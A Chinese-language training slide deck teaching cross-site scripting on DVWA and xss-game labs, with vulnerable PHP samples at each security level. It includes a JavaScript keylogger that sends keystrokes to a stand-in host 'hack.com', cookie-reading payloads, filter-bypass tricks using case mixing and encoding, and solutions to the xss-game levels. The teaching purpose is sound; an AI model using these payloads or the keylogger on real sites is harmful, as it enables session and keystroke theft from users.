Web Security

Cross-site scripting - XSS

大家好，我是 HrJ

• 現任 TDOHacker 創辦人、總召

• 現任 Leukocyte-Lab 營運長

• 曾任 淡江大學 資安&網路服務隊

• 曾任 VSSecruity 資安顧問

• 曾任 Athemaster 技術顧問

XSS 攻擊技術 - 從入門到崩潰

課程學習準備

• 安裝最新版 Firefox

• 安裝插件 Tamper data

• 安裝插件 hack bar​ 

課程練習準備

• 安裝 DVWA-1.9

• 安裝 xmapp-5.5.38-VC11

• 安裝 Kali Linux-2016.2

XAMPP  Install

DVWA  Install

admin / password

Cross-site scripting (CSS)

這縮寫好像...

Cascading Style Sheets (CSS)

因此取了諧音改叫

XSS

XSS 的特色？

• 耗時間

• 有相當機率不成功

• 幾乎沒有自動攻擊套件/工具

• 需要會基本 html、JS

• 後期需要很扎實的  html、JS

• 相當被動型的攻擊手法

• 遇到 Httponly、crossdomian.xml就掛掉

• 各大網站都有機會出現

XSS 精華在於

執行你自己精美的 "JS"

正常來說我們是這樣用

如果裡面改成你自己的 JS 呢？

var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}
window.setInterval(function(){
  new Image().src = 'http://hack.com/keylogger.php?c='+keys;
  keys = '';
}, 1000);

Simple keylogger

斯斯有三種，XSS 也有三種

• XSS Reflected - 反射型 XSS

• XSS Stored - ​儲存/持久型 XSS

• XSS DOM - DOM型 XSS

XSS Reflected - 反射型 XSS

XSS Reflected - 反射型 XSS

Low Security Level

<script>alert("XSS Reflected")</script>

<script>alert(document.cookie);</script>

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 

XSS Reflected - 反射型 XSS

Medium Security Level

<SCRipt>alert(document.cookie);</ScripT>

<scri<script>pt>alert(document.cookie);</scr<script>ipt>

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

XSS Reflected - 反射型 XSS

High Security Level

<img src=1 onerror=alert('XSS Reflected')>

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

XSS Reflected - 反射型 XSS

Impossible Security Level

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

祕訣？

• 見框就插

• 改封包不可見的部分(隱藏欄位)

• 改URL參數

• js分析

• 大小寫/編碼混淆

• 嵌入構造

XSS Stored - ​儲存/持久型 XSS

• 儲存型 > 保留在 Server 端

• 反射型 > 執行在 Client 端

<img src=1 onerror=alert('XSSStored')>

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

XSS DOM - DOM型 XSS

特色

• 與 Server 端無關

• 基於 Javascript 利用上

• 比較 難挖掘

• 如果遇到 自定義函數 會很靠腰

• 相當少見

XSS 攻擊的精華只有一句話 :

“XSS 就是在頁面

執行你想要的 JS“

Little tips

XSS-HTML 編碼

HTML Parser

JS Parser

CSS Parser

Browser 解析順序

HTML DEcoding

JS

DEcoding

CSS DEcoding

Browser 解碼順序

這順序有什麼關係呢？

\舉個例子/

當你的 xss 插入點在 <script> 中時
在純 HTML (非 XHTML 時)
怎樣都不可能被執行

\舉個例子/

當你手動嘗試編碼繞過 filter 時
感覺解碼起來是對的

可是就是跑不動

So...Why?

1 + 1 * 3 = 4

1 + 1 * 3 = 6

語言結構的解析差異

1 + 1 * 3 = 4

1 + 1 * 3 = 6

1(int)  +(option) 1(int)  *(option) 3(int)

<img src = 1/>

      (Data State)

<    （Tag open state）
img  （Tag name state）

src

=

1

/

>    （Tag close state）
      (Data State)

• HTML編碼 只有在 Data State(標籤外部 or 標籤內的 text ) 和屬性值下才會解碼

• 遇到特殊模式時，Ｄata State 下也不會進行解碼

• Tag name/open/close state 三種狀態下也不會進行 HTML 解碼

 特殊模式

• <style>

• <script>

• <textarea>

• <xmp>

以下 Tag 內的 text

就算是 Data state 也不進行 HTML 解析

• <img src='x' onerror=alert("HrJ超帥 der")>

• <img src='x' onerror='alert("HrJ超帥 der")'>

• <img src='x' onerror=
  &#97;&#108;&#101;&#114;&#116;&#40;&#34;&#72;&#114;&#74;&#36229;&#24101;&#32;&#100;&#101;&#114;&#34;&#41;>

• <img src='x' one&#114;&#114;&#111;&#114;&#61;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#72;&#114;&#74;&#36229;&#24101;&#32;&#100;&#101;&#114;&#34;&#41;>

<script>…${XSS payload}…</script> 
直接插入到SCRIPT中

<!– ${XSS payload} –> 
插入到HTML註解中

<div ${XSS payload}=”…”></div>
插入到HTML屬性標籤中

<div name=”…${XSS payload}…”></div>
插入到HTML標籤的屬性值中

<${XSS payload} href=”…”></a>
偽裝HTML標籤名稱

<style>…${XSS payload}…</style>
直接插入到CSS里

<img src=1 onerror=alert('xss')>
當找不到圖片名稱為 1 時，執行 error

<a href=javascrip:alert('xss')>s</a> 
點擊時運行

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
利用iframe的scr來跳窗

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
避開 alert 來跳窗

Playing~

https://xss-game.appspot.com/

Lession 1

<script>alert("HrJ超帥 der")</script>

Lession 2

<img src='x' onerror='alert("HrJ超帥 der")'>
<img src='x' onerror='alert(document.cookie)'>
<img src="${任意圖片網址}" onclick='alert("HrJ超帥 der")' />
<img src="${任意圖片網址}" onmousemove='alert("HrJ超帥 der")' />

Lession 3

' onerror='alert("HrJ超帥der")'>

Lession 4

');alert('HrJ超帥der

Lession 5

javascript: alert("HrJ超帥der");

Lession 6

https://xss-game.appspot.com/level6/frame#[url]

[url] = //www.google.com/jsapi?callback=alert


data:text/plain,alert('xss')

更多練習~

http://xss-quiz.int21h.jp/

Q & A